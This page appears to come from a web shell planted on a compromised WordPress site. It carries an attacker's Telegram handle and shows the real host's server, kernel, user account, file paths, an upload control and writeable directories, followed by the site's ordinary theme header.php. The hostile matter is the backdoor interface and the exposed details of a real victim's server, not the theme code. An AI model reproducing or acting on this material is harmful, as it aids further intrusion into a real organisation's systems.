test .
https://t.me/RX1948
Server : Apache
System : Linux festive-vaughan.27-254-111-205.plesk.page 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
User : acaindustrial ( 10114)
PHP Version : 8.2.25
Disable Function : opcache_get_status
Directory :  /var/www/vhosts/acaindustrial.co.th/httpdocs/wp-content/themes/construction-light/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/vhosts/acaindustrial.co.th/httpdocs/wp-content/themes/construction-light/header.php
<?php
/**
 * The header for our theme
 *
 * This is the template that displays all of the <head> section and everything up until <div id="content">
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package Construction Light
 */

?>
<!doctype html>
<html <?php language_attributes(); ?>>
<head>
	<meta charset="<?php bloginfo( 'charset' ); ?>">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
    <meta name="theme-color" content="<?php echo esc_attr(get_theme_mod('construction_light_primary_color', apply_filters('construction_light_primary_color', '#ffc107')));?>">
	<?php wp_head(); ?>
</head>

<body <?php body_class(); ?>>

<div id="page" class="site">

<a class="skip-link screen-reader-text" href="#content"><?php esc_html_e( 'Skip to content', 'construction-light' ); ?></a>

<?php

    /**
     * Header Type
    */
    $headerlayout = get_theme_mod('construction_light_header_layout','layout_one');
    
    $headerlayout = str_replace("layout_","",$headerlayout);
    if($headerlayout == 'layout_one'){

        get_template_part('header/header', 'one');

    }else if($headerlayout == 'layout_two'){

        get_template_part('header/header', 'two');

    }else if($headerlayout == 'layout_three'){
        get_template_part('header/header', 'three');
    }else{ 
        get_template_part('header/header', $headerlayout);
    }


	if( is_front_page() ){ 

        $bannerslider = get_theme_mod('construction_light_banner_slider_section', 'enable');

        if ($bannerslider == 'enable') {
            $type = get_theme_mod('construction_light_slider_type', 'default');
            /**
    	     * Hook -  construction_light_action_banner_slider
    	     *
    	     * @hooked construction_light_banner_slider - 25
    	     */
            if($type == 'default'){
    	        do_action('construction_light_action_banner_slider');
            }else{
                do_action('construction_light_action_advance_banner_slider');
            }
        }
	}
?>


<?php
    $breadcrumbs_enable = get_theme_mod('construction_light_enable_breadcrumbs', 'enable');
    if ($breadcrumbs_enable == 'enable' && is_page_template( 'template-pagebuilder.php') === false ) {
        if (( !is_front_page() && !is_home() ) ) {
            /**
             * @hook construction_light_breadcrumbs.
             *
             * @hooked construction_light_breadcrumbs.
             *
             */
            do_action('construction_light_breadcrumbs');
        }
    }
?>

	<div id="content" class="site-content">

https://t.me/RX1948 - 2025